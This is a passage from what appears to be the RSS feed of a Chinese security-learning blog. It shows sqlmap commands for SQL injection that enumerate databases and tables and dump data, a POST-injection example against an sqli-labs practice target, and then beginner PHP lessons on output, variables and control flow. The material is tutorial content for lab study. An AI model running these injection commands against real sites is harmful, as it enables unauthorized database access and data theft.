&lt;p&gt;与之前相同，在参数后面添加&lt;code&gt;limit 0,1&lt;/code&gt;手动修改依次输出&lt;/p&gt;
&lt;h2 id=&#34;工具辅助注入&#34;&gt;工具辅助注入
&lt;/h2&gt;&lt;h3 id=&#34;sqlmap-用法使用kali版本&#34;&gt;sqlmap 用法（使用Kali版本）
&lt;/h3&gt;&lt;p&gt;慢速通用版：&lt;/p&gt;
&lt;p&gt;STEP1:&lt;code&gt;sqlmap -u [目标url] --dbs&lt;/code&gt;也可使用&lt;code&gt;sqlmap -u [目标url] --current-db&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;前者获取目标网站的所有库名，后者获取当前数据库名&lt;/p&gt;
&lt;p&gt;STEP2:&lt;code&gt;sqlmap -u [目标url] -D [库名] --tables&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;获取指定库里的表&lt;/p&gt;
&lt;p&gt;STEP3:&lt;code&gt;sqlmap -u [目标url] -D [库名] -T [表名] --columns&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;获取指定表里的栏目&lt;/p&gt;
&lt;p&gt;STEP4:&lt;code&gt;sqlmap -u [目标url] -D [库名] -T [表名] -C xxx,xxx --dump&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;获取表里指定栏目的数据&lt;/p&gt;
&lt;p&gt;完毕&lt;/p&gt;
&lt;p&gt;快速版（也需要分步添加参数）：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sqlmap -u [目标url] --dbs --batch --threads 10 --technique U&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用sqlmap查看目标网站的数据库库名，忽略错误，开10线程，使用union select注入目标网站&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;补充：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;ndash;technique X 中后接参数的其他类型&lt;/p&gt;
&lt;p&gt;E = 报错注入 &lt;em&gt;error based&lt;/em&gt;（无法发现报错位，但是数据库报错会出现）&lt;/p&gt;
&lt;p&gt;B = 布尔型注入 &lt;em&gt;booled based&lt;/em&gt;（无法发现报错位，数据库闭合破坏也不出现，但是界面上只会出现&lt;strong&gt;有&lt;/strong&gt;和&lt;strong&gt;没有&lt;/strong&gt;东西两种情况）&lt;/p&gt;
&lt;p&gt;T = 布尔型时间盲注 &lt;em&gt;time based&lt;/em&gt;（无法发现报错位，数据库闭合被破坏也不出现，界面上也没有出现消失东西的情况）&lt;/p&gt;
&lt;h3 id=&#34;略微引申post类型的注入&#34;&gt;略微引申：POST类型的注入
&lt;/h3&gt;&lt;p&gt;以靶场&lt;a class=&#34;link&#34; href=&#34;http://sqlilabs.njhack.xyz/Less-11/index.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;http://sqlilabs.njhack.xyz/Less-11/index.php&lt;/a&gt;为例&lt;/p&gt;
&lt;p&gt;STEP1：随便提交数据，使用burp suite抓包&lt;/p&gt;
&lt;p&gt;输入账号：admin1 密码：admin1&lt;/p&gt;
&lt;p&gt;抓包得到post内容&lt;code&gt;uname=admin1&amp;amp;passwd=admin1&amp;amp;submit=Submit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;STEP2：使用sqlmap注入&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sqlmap -u http://sqlilabs.njhack.xyz/Less-11/index.php --data &amp;quot;uname=admin1*&amp;amp;passwd=admin1&amp;amp;submit=Submit&amp;quot; --current-db --batch --threads 10 --technique U&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;注意：&amp;ndash;data后跟着的&lt;/font&gt;&lt;/strong&gt;&lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;包裹字符串内容要在打击处用&lt;/font&gt;&lt;/strong&gt;&lt;code&gt;*&lt;/code&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;做标记&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来的步骤略&lt;/p&gt;
&lt;h2 id=&#34;拓展知识&#34;&gt;拓展知识
&lt;/h2&gt;&lt;p&gt;web渗透中目标不同的组合：&lt;/p&gt;
&lt;p&gt;Windows+iss+asp/aspx(asp.net)+access/mssql&lt;/p&gt;
&lt;p&gt;Windows+apache+php+mysql = wamp （一般使用软件进行集成化搭建）&lt;/p&gt;
&lt;p&gt;linux+apache/nginx+php+mysql = lamp/lnmp （又可能使用宝塔或其他面板搭建）&lt;/p&gt;
&lt;p&gt;linux+tomcat+java(jsp)+oracle/mysql&lt;/p&gt;
&lt;p&gt;linux+nginx+python(django/flask/tornado/fastapi)+go(beego/gin)+mysql&lt;/p&gt;
&lt;hr&gt;
</description>
        </item>
        <item>
        <title>1.4 php基础：用户交互与数据库交互</title>
        <link>https://www.retr0.xyz/p/1.4-php%E5%9F%BA%E7%A1%80%E7%94%A8%E6%88%B7%E4%BA%A4%E4%BA%92%E4%B8%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BA%A4%E4%BA%92/</link>
        <pubDate>Wed, 26 Nov 2025 23:11:40 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.4-php%E5%9F%BA%E7%A1%80%E7%94%A8%E6%88%B7%E4%BA%A4%E4%BA%92%E4%B8%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BA%A4%E4%BA%92/</guid>
        <description>&lt;h2 id=&#34;用户交互&#34;&gt;用户交互
&lt;/h2&gt;&lt;h3 id=&#34;基本结构&#34;&gt;基本结构
&lt;/h3&gt;&lt;h4 id=&#34;核心架构和输出操作&#34;&gt;核心架构和输出操作
&lt;/h4&gt;&lt;p&gt;php的基本结构是这样的：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Hello World!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此处&lt;code&gt;echo&lt;/code&gt;就相当于Python里的&lt;code&gt;print&lt;/code&gt;输出&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;且中间部分每行结尾一定一定要加&lt;/font&gt;&lt;/strong&gt;&lt;code&gt;;&lt;/code&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;（因为真的很容易忘&lt;/font&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;）&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&#34;变量&#34;&gt;变量
&lt;/h4&gt;&lt;p&gt;此外，再输出内容中如果有多个部分组成请用英文句号&lt;code&gt;.&lt;/code&gt;隔开（相当于python中print里的逗号全部换成句号，仅此而已）例如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Hi!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Hello!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;if-判断&#34;&gt;if 判断
&lt;/h4&gt;&lt;p&gt;Quickstart：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 定义一个简单的变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$age&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// if判断：如果$age大于等于18，执行花括号里的代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$age&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;你已经成年啦！&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 再补一个if-else的简单例子
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$score&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;59&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$score&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;60&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;考试及格啦！&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;考试不及格，继续加油！&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;由此可见，它的基本结构是这样的：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;判断条件&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;语句块1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;语句块2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;语句块1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;语句块2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;while-循环&#34;&gt;while 循环
&lt;/h4&gt;&lt;p&gt;Quickstart：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 初始化计数器
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// while循环：只要$i小于等于5，就执行循环体
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;当前数字是：&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;lt;br/&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// 计数器自增（必须写，否则会无限循环！）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;由此可见，它的基本结构应该是这样的：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;循环判断条件&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;语句块1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;语句块2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;变量格式&#34;&gt;变量格式
&lt;/h3&gt;&lt;p&gt;php中的变量没有数据类型，一律在变量名前面加上&lt;code&gt;$&lt;/code&gt;，例如&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
